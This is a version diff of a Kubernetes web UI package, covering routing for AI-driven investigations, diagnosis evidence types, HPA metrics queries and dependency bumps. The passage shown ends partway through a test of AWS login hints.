@skyhook-io/radar-app 1.13.3 → 1.13.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +6 -6
- package/src/App.tsx +68 -23
- package/src/RadarApp.tsx +17 -1
- package/src/api/client.ts +28 -10
- package/src/api/diagnose.ts +61 -15
- package/src/components/ConnectionErrorView.test.tsx +30 -0
- package/src/components/ConnectionErrorView.tsx +31 -19
- package/src/components/diagnose/AgentCase.tsx +131 -0
- package/src/components/diagnose/DiagnoseContext.test.ts +95 -0
- package/src/components/diagnose/DiagnoseContext.tsx +402 -77
- package/src/components/diagnose/DiagnoseSurface.test.tsx +53 -54
- package/src/components/diagnose/DiagnoseSurface.tsx +198 -286
- package/src/components/diagnose/Home.test.tsx +23 -1
- package/src/components/diagnose/Home.tsx +49 -3
- package/src/components/diagnose/InvestigationEvidencePane.test.tsx +1446 -5
- package/src/components/diagnose/InvestigationEvidencePane.tsx +1373 -126
- package/src/components/diagnose/InvestigationView.tsx +227 -5
- package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -3
- package/src/components/diagnose/diagnoseEvidenceTypes.ts +22 -1
- package/src/components/diagnose/investigationCase.test.tsx +1568 -0
- package/src/components/diagnose/investigationCase.ts +439 -0
- package/src/components/diagnose/investigationEvidence.test.ts +3525 -17
- package/src/components/diagnose/investigationEvidence.ts +2246 -166
- package/src/components/diagnose/investigationEvidenceKinds.ts +218 -0
- package/src/components/diagnose/investigationEvidencePresentation.test.ts +31 -0
- package/src/components/diagnose/investigationEvidencePresentation.ts +1 -0
- package/src/components/diagnose/investigationMetrics.test.ts +712 -0
- package/src/components/diagnose/investigationMetrics.ts +393 -0
- package/src/components/diagnose/investigationSourceFocus.ts +6 -0
- package/src/components/diagnose/investigationState.test.ts +322 -0
- package/src/components/diagnose/investigationState.ts +147 -25
- package/src/components/diagnose/parts.test.tsx +537 -1
- package/src/components/diagnose/parts.tsx +486 -42
- package/src/components/resource/HPACharts.render.test.tsx +77 -0
- package/src/components/resource/HPACharts.tsx +32 -25
- package/src/components/resource/PrometheusChartsGrid.tsx +181 -79
- package/src/components/resources/PodFilePreview.test.tsx +131 -0
- package/src/components/resources/PodFilePreview.tsx +394 -0
- package/src/components/resources/PodFilesystemModal.tsx +157 -67
- package/src/components/resources/ResourcesView.tsx +27 -2
- package/src/context/DiagnoseCustomization.test.tsx +26 -0
- package/src/context/DiagnoseCustomization.tsx +14 -2
- package/src/index.ts +8 -5
- package/src/utils/shell-safe.test.ts +25 -1
- package/src/utils/shell-safe.ts +16 -0
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@skyhook-io/radar-app",
|
|
3
|
-
"version": "1.13.
|
|
3
|
+
"version": "1.13.5",
|
|
4
4
|
"description": "Radar's full web UI as a reusable React component. Used by Radar's own binary and by external consumers like Radar Cloud.",
|
|
5
5
|
"repository": {
|
|
6
6
|
"type": "git",
|
|
@@ -35,7 +35,7 @@
|
|
|
35
35
|
"diff": "^9.0.0",
|
|
36
36
|
"monaco-editor": "0.55.1",
|
|
37
37
|
"react-markdown": "^10.1.0",
|
|
38
|
-
"react-virtuoso": "^4.18.
|
|
38
|
+
"react-virtuoso": "^4.18.13",
|
|
39
39
|
"remark-gfm": "^4.0.1",
|
|
40
40
|
"shiki": "^4.4.2",
|
|
41
41
|
"yaml": "^2.9.0"
|
|
@@ -58,7 +58,7 @@
|
|
|
58
58
|
"@skyhook-io/k8s-ui": "*",
|
|
59
59
|
"@tailwindcss/typography": "^0.5.20",
|
|
60
60
|
"@tailwindcss/vite": "^4.3.3",
|
|
61
|
-
"@tanstack/react-query": "^5.
|
|
61
|
+
"@tanstack/react-query": "^5.102.8",
|
|
62
62
|
"@types/node": "^26.2.0",
|
|
63
63
|
"@types/react": "^19.2.18",
|
|
64
64
|
"@types/react-dom": "^19.2.3",
|
|
@@ -66,16 +66,16 @@
|
|
|
66
66
|
"@xyflow/react": "^12.11.2",
|
|
67
67
|
"clsx": "^2.1.1",
|
|
68
68
|
"elkjs": "^0.11.1",
|
|
69
|
-
"eslint": "^10.
|
|
69
|
+
"eslint": "^10.10.0",
|
|
70
70
|
"eslint-plugin-react-hooks": "^7.1.1",
|
|
71
71
|
"eslint-plugin-react-refresh": "^0.5.3",
|
|
72
72
|
"globals": "^17.11.0",
|
|
73
73
|
"lucide-react": "^1.37.0",
|
|
74
|
-
"postcss": "^8.5.
|
|
74
|
+
"postcss": "^8.5.28",
|
|
75
75
|
"prettier": "^3.9.5",
|
|
76
76
|
"react": "^19.2.8",
|
|
77
77
|
"react-dom": "^19.2.8",
|
|
78
|
-
"react-router-dom": "^7.18.
|
|
78
|
+
"react-router-dom": "^7.18.3",
|
|
79
79
|
"tailwind-merge": "^3.6.0",
|
|
80
80
|
"tailwindcss": "^4.3.3",
|
|
81
81
|
"typescript": "^6.0.2",
|
package/src/App.tsx
CHANGED
|
@@ -7,7 +7,7 @@ import { useNavigate, useLocation, useSearchParams, useNavigationType, Navigatio
|
|
|
7
7
|
import { HomeView } from './components/home/HomeView'
|
|
8
8
|
import { DebugOverlay } from './components/DebugOverlay'
|
|
9
9
|
import { GlobalDiagnoseButton } from './components/diagnose/LocalDiagnoseAction'
|
|
10
|
-
import { useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
|
|
10
|
+
import { investigationWorkspaceSearch, isInvestigationWorkspacePath, useDiagnoseLayout } from './components/diagnose/DiagnoseContext'
|
|
11
11
|
import { DiagnoseSurface } from './components/diagnose/DiagnoseSurface'
|
|
12
12
|
import { TopologyGraph, TopologySearch, TopologyBreadcrumb, TopologyFilterSidebar, TopologyControls, FreshnessControl, gitOpsRouteForKind, gitOpsRouteForResource, ScopePill, PaneLoader, assetUrl } from '@skyhook-io/k8s-ui'
|
|
13
13
|
import { initNavigationMap } from '@skyhook-io/k8s-ui/utils/navigation'
|
|
@@ -120,7 +120,7 @@ const FLEET_MODE_KINDS = new Set<NodeKind>([
|
|
|
120
120
|
|
|
121
121
|
// Convert API resource name back to topology node ID prefix
|
|
122
122
|
// Extended MainView type that includes traffic and cost
|
|
123
|
-
type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications'
|
|
123
|
+
type ExtendedMainView = MainView | 'traffic' | 'cost' | 'capacity' | 'workload' | 'checks' | 'gitops' | 'compare' | 'helmCompare' | 'issues' | 'applications' | 'investigations'
|
|
124
124
|
|
|
125
125
|
// Extract view from URL path
|
|
126
126
|
function getViewFromPath(pathname: string): ExtendedMainView {
|
|
@@ -140,6 +140,7 @@ function getViewFromPath(pathname: string): ExtendedMainView {
|
|
|
140
140
|
if (path === 'applications') return 'applications'
|
|
141
141
|
if (path === 'compare') return 'compare'
|
|
142
142
|
if (path === 'issues') return 'issues'
|
|
143
|
+
if (path === 'investigations') return 'investigations'
|
|
143
144
|
return 'home'
|
|
144
145
|
}
|
|
145
146
|
|
|
@@ -325,7 +326,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
325
326
|
// static. contentGutter is the docked panel width (0 when closed/overlay/maximized).
|
|
326
327
|
const {
|
|
327
328
|
open: diagnoseOpen,
|
|
328
|
-
|
|
329
|
+
dismissForNavigation: dismissDiagnoseForNavigation,
|
|
329
330
|
contentGutter,
|
|
330
331
|
maximized: diagnoseMaximized,
|
|
331
332
|
} = useDiagnoseLayout()
|
|
@@ -475,10 +476,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
475
476
|
const path = view === 'home' ? '/' : `/${view}`
|
|
476
477
|
|
|
477
478
|
// Start fresh — keep only cross-view params, discard view-specific ones.
|
|
478
|
-
//
|
|
479
|
-
//
|
|
479
|
+
// React Router owns navigation state. In embedded MemoryRouter mode the
|
|
480
|
+
// browser URL intentionally does not change, so window.location is stale.
|
|
480
481
|
const newParams = new URLSearchParams()
|
|
481
|
-
const currentParams = new URLSearchParams(
|
|
482
|
+
const currentParams = new URLSearchParams(location.search)
|
|
482
483
|
const globalNamespaces = currentParams.get('namespaces')
|
|
483
484
|
if (globalNamespaces) {
|
|
484
485
|
newParams.set('namespaces', globalNamespaces)
|
|
@@ -496,7 +497,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
496
497
|
}
|
|
497
498
|
|
|
498
499
|
navigate({ pathname: path, search: newParams.toString() })
|
|
499
|
-
}, [navigate, takeover, goHost])
|
|
500
|
+
}, [location.search, navigate, takeover, goHost])
|
|
500
501
|
|
|
501
502
|
// The standalone rail expresses intent to leave the full-width investigation
|
|
502
503
|
// workspace. Close it before routing so the destination is immediately visible;
|
|
@@ -504,10 +505,10 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
504
505
|
const handlePrimaryNavigate = useCallback((view: ExtendedMainView) => {
|
|
505
506
|
navigateFromPrimaryRail(
|
|
506
507
|
diagnoseOpen && diagnoseMaximized,
|
|
507
|
-
|
|
508
|
+
dismissDiagnoseForNavigation,
|
|
508
509
|
() => setMainView(view),
|
|
509
510
|
)
|
|
510
|
-
}, [diagnoseOpen, diagnoseMaximized,
|
|
511
|
+
}, [diagnoseOpen, diagnoseMaximized, dismissDiagnoseForNavigation, setMainView])
|
|
511
512
|
|
|
512
513
|
// Cloud (embedded) takes over the "fleet-shaped" per-cluster views with its
|
|
513
514
|
// own fleet pages scoped to this cluster — owned by the host's left rail — so
|
|
@@ -730,7 +731,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
730
731
|
// duplicated verbatim at each render site. Encodes the opened resource in the
|
|
731
732
|
// URL (?resource=ns/name) — the same deep-link shape the resources view
|
|
732
733
|
// round-trips — so refresh/share keeps the drawer open instead of dropping it.
|
|
733
|
-
const navigateToResourceList = useCallback((resource: SelectedResource) => {
|
|
734
|
+
const navigateToResourceList = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
|
|
734
735
|
const pluralKind = kindToPluralWithGroup(resource.kind, resource.group ?? '')
|
|
735
736
|
setSelectedResource({ ...resource, kind: pluralKind })
|
|
736
737
|
const newParams = new URLSearchParams(searchParams)
|
|
@@ -748,10 +749,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
748
749
|
} else {
|
|
749
750
|
newParams.delete('apiGroup')
|
|
750
751
|
}
|
|
752
|
+
if (investigationRunID === null) newParams.delete('ai-run')
|
|
753
|
+
else if (investigationRunID) newParams.set('ai-run', investigationRunID)
|
|
751
754
|
navigate({ pathname: `/resources/${pluralKind}`, search: newParams.toString() })
|
|
752
755
|
}, [searchParams, navigate])
|
|
753
756
|
|
|
754
|
-
const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string) => {
|
|
757
|
+
const navigateToHelmRelease = useCallback((namespace: string, name: string, storageNamespace?: string, investigationRunID?: string | null) => {
|
|
755
758
|
const newParams = new URLSearchParams()
|
|
756
759
|
const globalNamespaces = searchParams.get('namespaces')
|
|
757
760
|
if (globalNamespaces) {
|
|
@@ -761,6 +764,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
761
764
|
if (storageNamespace) {
|
|
762
765
|
newParams.set('releaseStorage', storageNamespace)
|
|
763
766
|
}
|
|
767
|
+
if (investigationRunID) newParams.set('ai-run', investigationRunID)
|
|
764
768
|
setSelectedHelmRelease({ namespace, name, storageNamespace })
|
|
765
769
|
if (mainView === 'helm') {
|
|
766
770
|
setSearchParams(newParams, { replace: true })
|
|
@@ -772,9 +776,9 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
772
776
|
// From the Issues queue: special controller/manager subjects route to their
|
|
773
777
|
// rich detail pages, not the generic resource drawer that's a dead-end for
|
|
774
778
|
// them. Member resources (Pods, Services, …) fall through to resources.
|
|
775
|
-
const navigateFromIssue = useCallback((resource: SelectedResource) => {
|
|
779
|
+
const navigateFromIssue = useCallback((resource: SelectedResource, investigationRunID?: string | null) => {
|
|
776
780
|
if (resource.kind === 'HelmRelease' && resource.group === 'helm.sh' && resource.namespace) {
|
|
777
|
-
navigateToHelmRelease(resource.namespace, resource.name)
|
|
781
|
+
navigateToHelmRelease(resource.namespace, resource.name, undefined, investigationRunID)
|
|
778
782
|
return
|
|
779
783
|
}
|
|
780
784
|
const gitOpsPath = gitOpsRouteForResource({
|
|
@@ -783,10 +787,12 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
783
787
|
metadata: { namespace: resource.namespace ?? '', name: resource.name },
|
|
784
788
|
})
|
|
785
789
|
if (gitOpsPath) {
|
|
786
|
-
|
|
790
|
+
const destination = new URL(gitOpsPath, window.location.origin)
|
|
791
|
+
if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
|
|
792
|
+
navigate(`${destination.pathname}${destination.search}${destination.hash}`)
|
|
787
793
|
return
|
|
788
794
|
}
|
|
789
|
-
navigateToResourceList(resource)
|
|
795
|
+
navigateToResourceList(resource, investigationRunID)
|
|
790
796
|
}, [navigate, navigateToHelmRelease, navigateToResourceList])
|
|
791
797
|
|
|
792
798
|
// Collapse the over-list fullscreen back to the drawer = drop ?full=1 (and the
|
|
@@ -842,7 +848,7 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
842
848
|
gitops: 'g o', checks: 'g u', cost: 'g c', capacity: 'g p',
|
|
843
849
|
// Non-rail views (reachable via deep links / actions, not the rail) get no
|
|
844
850
|
// dedicated mnemonic — listed for exhaustiveness so the type stays total.
|
|
845
|
-
workload: '', compare: '', helmCompare: '',
|
|
851
|
+
workload: '', compare: '', helmCompare: '', investigations: '',
|
|
846
852
|
}
|
|
847
853
|
const views = Object.keys(VIEW_SHORTCUT_KEYS).filter(
|
|
848
854
|
(v): v is ExtendedMainView => VIEW_SHORTCUT_KEYS[v as ExtendedMainView] !== '',
|
|
@@ -1162,10 +1168,23 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
1162
1168
|
// Reset resource-specific params while retaining the durable investigation
|
|
1163
1169
|
// focus. Diagnose resolves runs by id and owns whether the focused run is
|
|
1164
1170
|
// still readable after the context switch.
|
|
1165
|
-
|
|
1166
|
-
|
|
1167
|
-
|
|
1168
|
-
|
|
1171
|
+
if (isInvestigationWorkspacePath(location.pathname)) {
|
|
1172
|
+
navigate(
|
|
1173
|
+
{
|
|
1174
|
+
pathname: location.pathname,
|
|
1175
|
+
search: investigationWorkspaceSearch(location.search),
|
|
1176
|
+
},
|
|
1177
|
+
{ replace: true, state: location.state },
|
|
1178
|
+
)
|
|
1179
|
+
} else {
|
|
1180
|
+
const nextParams = new URLSearchParams()
|
|
1181
|
+
const diagnoseRun = new URLSearchParams(location.search).get('ai-run')
|
|
1182
|
+
if (diagnoseRun) nextParams.set('ai-run', diagnoseRun)
|
|
1183
|
+
navigate(
|
|
1184
|
+
{ pathname: location.pathname, search: nextParams.toString() },
|
|
1185
|
+
{ replace: true, state: location.state },
|
|
1186
|
+
)
|
|
1187
|
+
}
|
|
1169
1188
|
|
|
1170
1189
|
// Auto-unpause so the new cluster's topology loads immediately
|
|
1171
1190
|
setTopologyPaused(false)
|
|
@@ -2467,7 +2486,8 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
2467
2486
|
{diagnoseOpen && (
|
|
2468
2487
|
<DiagnoseSurface
|
|
2469
2488
|
topInset={chromeless ? 0 : APP_HEADER_HEIGHT}
|
|
2470
|
-
|
|
2489
|
+
onBrowseIssues={() => setMainView('issues')}
|
|
2490
|
+
onOpenResource={(ref, investigationRunID) => {
|
|
2471
2491
|
const resource: SelectedResource = {
|
|
2472
2492
|
kind: ref.kind,
|
|
2473
2493
|
namespace: ref.namespace ?? '',
|
|
@@ -2476,10 +2496,35 @@ function AppInner({ manageDocumentTitle = false, documentTitleSuffix, onClusterL
|
|
|
2476
2496
|
}
|
|
2477
2497
|
const path = relatedResourcePath(resource)
|
|
2478
2498
|
if (path.startsWith('/workload/')) {
|
|
2479
|
-
|
|
2499
|
+
const destination = new URL(path, window.location.origin)
|
|
2500
|
+
if (investigationRunID) destination.searchParams.set('ai-run', investigationRunID)
|
|
2501
|
+
navigate(`${destination.pathname}${destination.search}${destination.hash}`)
|
|
2480
2502
|
return
|
|
2481
2503
|
}
|
|
2482
|
-
navigateFromIssue(resource)
|
|
2504
|
+
navigateFromIssue(resource, investigationRunID)
|
|
2505
|
+
}}
|
|
2506
|
+
onOpenTimeline={({ namespace, name }) => {
|
|
2507
|
+
// Scope state and URL move together, as the Timeline's own
|
|
2508
|
+
// namespace prompt does: the URL-write effect would otherwise
|
|
2509
|
+
// restore the previous scope over the destination's `namespaces`
|
|
2510
|
+
// while the URL-read effect applies it, and the two would alternate.
|
|
2511
|
+
const params = new URLSearchParams({ q: name })
|
|
2512
|
+
if (namespace) {
|
|
2513
|
+
params.set('namespaces', namespace)
|
|
2514
|
+
setNamespaces([namespace])
|
|
2515
|
+
setActiveNamespace.mutate({ namespaces: [namespace] })
|
|
2516
|
+
} else {
|
|
2517
|
+
// A cluster-scoped subject changes nothing about scope, so the
|
|
2518
|
+
// destination keeps the current one. That means a namespace
|
|
2519
|
+
// filter can hide the very change that was clicked, because the
|
|
2520
|
+
// Timeline drops events whose namespace is outside it. Widening
|
|
2521
|
+
// instead has to move scope, URL and the server pick together —
|
|
2522
|
+
// three coupled effects with their own ordering rules — so it is
|
|
2523
|
+
// a change to make against that machinery, not here.
|
|
2524
|
+
const globalNamespaces = searchParams.get('namespaces')
|
|
2525
|
+
if (globalNamespaces) params.set('namespaces', globalNamespaces)
|
|
2526
|
+
}
|
|
2527
|
+
navigate({ pathname: '/timeline', search: params.toString() })
|
|
2483
2528
|
}}
|
|
2484
2529
|
/>
|
|
2485
2530
|
)}
|
package/src/RadarApp.tsx
CHANGED
|
@@ -42,6 +42,7 @@ import type { TimelineSourceConfig } from "./api/timelineSource";
|
|
|
42
42
|
import { DiagnoseCustomizationProvider } from "./context/DiagnoseCustomization";
|
|
43
43
|
import type {
|
|
44
44
|
RenderDiagnoseAction,
|
|
45
|
+
RenderInvestigationRunActions,
|
|
45
46
|
DiagnoseConsentCopy,
|
|
46
47
|
} from "./context/DiagnoseCustomization";
|
|
47
48
|
import { defaultDiagnoseAction } from "./components/diagnose/LocalDiagnoseAction";
|
|
@@ -113,6 +114,8 @@ export interface RadarAppProps {
|
|
|
113
114
|
* agent-free. See ./context/DiagnoseCustomization for the render-prop shape.
|
|
114
115
|
*/
|
|
115
116
|
renderDiagnoseAction?: RenderDiagnoseAction;
|
|
117
|
+
/** Host-owned controls for the focused investigation; absent in standalone Radar. */
|
|
118
|
+
renderInvestigationRunActions?: RenderInvestigationRunActions;
|
|
116
119
|
/**
|
|
117
120
|
* Replaces the first-run consent card's trust copy. REQUIRED of any host whose
|
|
118
121
|
* backend runs the agent somewhere other than the user's own machine — the
|
|
@@ -135,6 +138,12 @@ export interface RadarAppProps {
|
|
|
135
138
|
* Radar runs with `navSlots.chrome: 'none'`.
|
|
136
139
|
*/
|
|
137
140
|
onClusterLoadStateChange?: (state: ClusterLoadState) => void;
|
|
141
|
+
/**
|
|
142
|
+
* Called after a focused investigation has been resolved by the server.
|
|
143
|
+
* Embedders whose chrome lives outside RadarApp's router can use this as a
|
|
144
|
+
* navigation hint without treating an unverified URL id as durable state.
|
|
145
|
+
*/
|
|
146
|
+
onInvestigationFocus?: (runID: string) => void;
|
|
138
147
|
/**
|
|
139
148
|
* Selects the store backing the event timeline. Omit for the local event
|
|
140
149
|
* store the Radar binary keeps (default, standalone behavior). Set
|
|
@@ -196,9 +205,11 @@ export function RadarApp({
|
|
|
196
205
|
manageDocumentTitle = false,
|
|
197
206
|
documentTitleSuffix,
|
|
198
207
|
renderDiagnoseAction,
|
|
208
|
+
renderInvestigationRunActions,
|
|
199
209
|
diagnoseConsent,
|
|
200
210
|
initialPath,
|
|
201
211
|
onClusterLoadStateChange,
|
|
212
|
+
onInvestigationFocus,
|
|
202
213
|
timelineSource,
|
|
203
214
|
}: RadarAppProps): React.ReactElement {
|
|
204
215
|
// Apply runtime config during render so module-level singletons are set
|
|
@@ -227,8 +238,13 @@ export function RadarApp({
|
|
|
227
238
|
<DiagnoseCustomizationProvider
|
|
228
239
|
value={renderDiagnoseAction ?? defaultDiagnoseAction}
|
|
229
240
|
consentCopy={diagnoseConsent}
|
|
241
|
+
renderRunActions={renderInvestigationRunActions}
|
|
230
242
|
>
|
|
231
|
-
<DiagnoseProvider
|
|
243
|
+
<DiagnoseProvider
|
|
244
|
+
browserURLState={router !== "memory"}
|
|
245
|
+
forceRouterURLState={router === "memory"}
|
|
246
|
+
onFocusedRun={onInvestigationFocus}
|
|
247
|
+
>
|
|
232
248
|
<App
|
|
233
249
|
manageDocumentTitle={manageDocumentTitle}
|
|
234
250
|
documentTitleSuffix={documentTitleSuffix}
|
package/src/api/client.ts
CHANGED
|
@@ -3105,6 +3105,10 @@ export interface PrometheusResourceMetrics {
|
|
|
3105
3105
|
result: PrometheusQueryResult;
|
|
3106
3106
|
query?: string; // PromQL query (included when result is empty, for diagnostics)
|
|
3107
3107
|
hint?: string; // Contextual hint when results are empty (e.g. cri-docker label issues)
|
|
3108
|
+
// Workload kinds only: the pods the chart covers, established by
|
|
3109
|
+
// controller ownership. podsTotal is the full set when the cap cut the list.
|
|
3110
|
+
pods?: number;
|
|
3111
|
+
podsTotal?: number;
|
|
3108
3112
|
}
|
|
3109
3113
|
|
|
3110
3114
|
export type PrometheusMetricCategory =
|
|
@@ -3516,21 +3520,35 @@ export function useRightsizingScan(namespaces: string[], context = "") {
|
|
|
3516
3520
|
};
|
|
3517
3521
|
}
|
|
3518
3522
|
|
|
3519
|
-
//
|
|
3520
|
-
|
|
3521
|
-
|
|
3523
|
+
// An HPA's replica history: the count it currently observes and the count it
|
|
3524
|
+
// has decided on. Curated server-side so reading the HPA is the only grant
|
|
3525
|
+
// the chart needs; raw PromQL requires cluster-wide access.
|
|
3526
|
+
export interface PrometheusHPAMetrics {
|
|
3527
|
+
namespace: string;
|
|
3528
|
+
name: string;
|
|
3529
|
+
range: string;
|
|
3530
|
+
current: PrometheusQueryResult;
|
|
3531
|
+
desired: PrometheusQueryResult;
|
|
3532
|
+
}
|
|
3533
|
+
|
|
3534
|
+
export function usePrometheusHPAMetrics(
|
|
3535
|
+
namespace: string,
|
|
3536
|
+
name: string,
|
|
3522
3537
|
range: PrometheusTimeRange = "1h",
|
|
3523
3538
|
enabled = true,
|
|
3524
3539
|
) {
|
|
3525
|
-
return useQuery<
|
|
3526
|
-
queryKey: ["
|
|
3540
|
+
return useQuery<PrometheusHPAMetrics>({
|
|
3541
|
+
queryKey: ["prometheus-hpa-metrics", namespace, name, range],
|
|
3527
3542
|
queryFn: () =>
|
|
3528
|
-
fetchJSON(
|
|
3529
|
-
|
|
3530
|
-
),
|
|
3531
|
-
enabled: enabled && Boolean(query),
|
|
3543
|
+
fetchJSON(`/prometheus/hpa/${namespace}/${name}?range=${range}`),
|
|
3544
|
+
enabled: enabled && Boolean(namespace && name),
|
|
3532
3545
|
staleTime: 30000,
|
|
3533
|
-
|
|
3546
|
+
// A denial is a standing RBAC fact, not a blip: show the access state at
|
|
3547
|
+
// once and stop polling for it.
|
|
3548
|
+
refetchInterval: (query) =>
|
|
3549
|
+
isForbiddenError(query.state.error) ? false : 60000,
|
|
3550
|
+
retry: (failureCount, error) =>
|
|
3551
|
+
!isForbiddenError(error) && failureCount < 1,
|
|
3534
3552
|
});
|
|
3535
3553
|
}
|
|
3536
3554
|
|
package/src/api/diagnose.ts
CHANGED
|
@@ -52,11 +52,60 @@ export interface RootCauseEvidence {
|
|
|
52
52
|
refs?: string[];
|
|
53
53
|
}
|
|
54
54
|
|
|
55
|
+
/**
|
|
56
|
+
* How the agent frames one cited Radar result. Roles order cards; they never
|
|
57
|
+
* hide one.
|
|
58
|
+
*
|
|
59
|
+
* One half of a Go↔TS contract: `evidenceRoles` in internal/ai/parse.go and
|
|
60
|
+
* EVIDENCE_ROLES in components/diagnose/investigationCase.ts must list exactly
|
|
61
|
+
* these roles. Change all three together.
|
|
62
|
+
*/
|
|
63
|
+
export type DiagnosisEvidenceRole =
|
|
64
|
+
"cause" | "symptom" | "context" | "benign" | "demoted" | "rules_out";
|
|
65
|
+
|
|
66
|
+
/**
|
|
67
|
+
* Which observation inside one tool result a claim is about. Agent text
|
|
68
|
+
* copied verbatim by the server; the UI resolves it against captured evidence
|
|
69
|
+
* and places the claim only on an exact, unique match.
|
|
70
|
+
*/
|
|
71
|
+
export interface DiagnosisEvidenceSubject {
|
|
72
|
+
group?: string;
|
|
73
|
+
kind: string;
|
|
74
|
+
namespace?: string;
|
|
75
|
+
name: string;
|
|
76
|
+
container?: string;
|
|
77
|
+
stream?: "current" | "previous";
|
|
78
|
+
/** Evidence kind (resource, logs, events, changes, metrics, …). */
|
|
79
|
+
observation?: string;
|
|
80
|
+
}
|
|
81
|
+
|
|
82
|
+
/** One server-bound item of the agent's case. Unlinked items are never rendered. */
|
|
83
|
+
export interface DiagnosisEvidenceItem {
|
|
84
|
+
status: "linked" | "unlinked";
|
|
85
|
+
ref?: string;
|
|
86
|
+
role?: DiagnosisEvidenceRole;
|
|
87
|
+
claim?: string;
|
|
88
|
+
subject?: DiagnosisEvidenceSubject;
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
export interface DiagnosisRuledOut {
|
|
92
|
+
hypothesis: string;
|
|
93
|
+
/** Index into Diagnosis.evidence of the item whose result contradicted it. */
|
|
94
|
+
evidenceIndex: number;
|
|
95
|
+
}
|
|
96
|
+
|
|
55
97
|
export interface Diagnosis {
|
|
56
98
|
healthy?: boolean;
|
|
57
99
|
inconclusive?: boolean; // investigated but couldn't determine — distinct from healthy
|
|
58
100
|
rootCause: string;
|
|
59
101
|
rootCauseEvidence?: RootCauseEvidence;
|
|
102
|
+
/** The agent's case over Radar's evidence; absent from hosted backends and older runs. */
|
|
103
|
+
evidence?: DiagnosisEvidenceItem[];
|
|
104
|
+
/** How many of the agent's evidence entries never reached the UI, including ones cut before they got a slot in `evidence`. */
|
|
105
|
+
unlinkedEvidence?: number;
|
|
106
|
+
/** The agent's evidence field was not a list, so none of it could be read. */
|
|
107
|
+
evidenceMalformed?: boolean;
|
|
108
|
+
ruledOut?: DiagnosisRuledOut[];
|
|
60
109
|
report: string;
|
|
61
110
|
remediation: string[];
|
|
62
111
|
recommendedIndex?: number; // 1-based index into remediation of the step Apply performs
|
|
@@ -87,6 +136,13 @@ export interface ResourceHealthSignal {
|
|
|
87
136
|
|
|
88
137
|
export type ApplyMutationOutcome = "confirmed" | "failed" | "unknown";
|
|
89
138
|
|
|
139
|
+
// One MCP server's connection state as the agent CLI reported it at startup.
|
|
140
|
+
// Only "connected" means its tools are usable.
|
|
141
|
+
export interface MCPServerStatus {
|
|
142
|
+
name: string;
|
|
143
|
+
status: string;
|
|
144
|
+
}
|
|
145
|
+
|
|
90
146
|
export interface DiagnoseStreamEvent {
|
|
91
147
|
type:
|
|
92
148
|
| "turn"
|
|
@@ -98,7 +154,11 @@ export interface DiagnoseStreamEvent {
|
|
|
98
154
|
| "closed"
|
|
99
155
|
| "history_unavailable"
|
|
100
156
|
| "replay_complete";
|
|
101
|
-
phase?: string;
|
|
157
|
+
phase?: string; // "investigating" | "connected" | "ready"
|
|
158
|
+
// Startup facts the agent CLI reported on the "ready" phase.
|
|
159
|
+
model?: string;
|
|
160
|
+
toolCount?: number; // Radar tools the agent registered
|
|
161
|
+
mcpServers?: MCPServerStatus[];
|
|
102
162
|
step?: DiagnoseStep;
|
|
103
163
|
token?: string;
|
|
104
164
|
diagnosis?: Diagnosis;
|
|
@@ -255,20 +315,6 @@ export async function getRun(
|
|
|
255
315
|
return res.json();
|
|
256
316
|
}
|
|
257
317
|
|
|
258
|
-
export async function updateRunVisibility(
|
|
259
|
-
id: string,
|
|
260
|
-
visibility: "private" | "organization",
|
|
261
|
-
): Promise<RunSummary> {
|
|
262
|
-
const res = await fetch(`${RUNS()}/${encodeURIComponent(id)}`, {
|
|
263
|
-
method: "PATCH",
|
|
264
|
-
credentials: getCredentialsMode(),
|
|
265
|
-
headers: { "Content-Type": "application/json", ...getAuthHeaders() },
|
|
266
|
-
body: JSON.stringify({ visibility }),
|
|
267
|
-
});
|
|
268
|
-
if (!res.ok) throw new DiagnoseError(res.status, await errorText(res));
|
|
269
|
-
return res.json();
|
|
270
|
-
}
|
|
271
|
-
|
|
272
318
|
// recordConsent acknowledges the current disclosure for an execution profile, server-side.
|
|
273
319
|
export async function recordConsent(surface: string): Promise<void> {
|
|
274
320
|
const res = await fetch(`${getApiBase()}/diagnose/consent`, {
|
|
@@ -71,6 +71,36 @@ describe('ConnectionErrorView authentication guidance', () => {
|
|
|
71
71
|
expect(hints.fallbackCommand?.command).toBe('aws sso login')
|
|
72
72
|
})
|
|
73
73
|
|
|
74
|
+
it('pins the kubeconfig AWS profile on every EKS command that would otherwise use the ambient one', () => {
|
|
75
|
+
const context = 'arn:aws:eks:us-east-1:123456789012:cluster/prod'
|
|
76
|
+
const profile = 'myorg/prod/admin'
|
|
77
|
+
|
|
78
|
+
const rejected = getAuthRejectedHints(context, profile)
|
|
79
|
+
expect(rejected.fallbackCommand?.command).toBe('aws sso login --profile myorg/prod/admin')
|
|
80
|
+
expect(rejected.authCommand?.command).toBe(
|
|
81
|
+
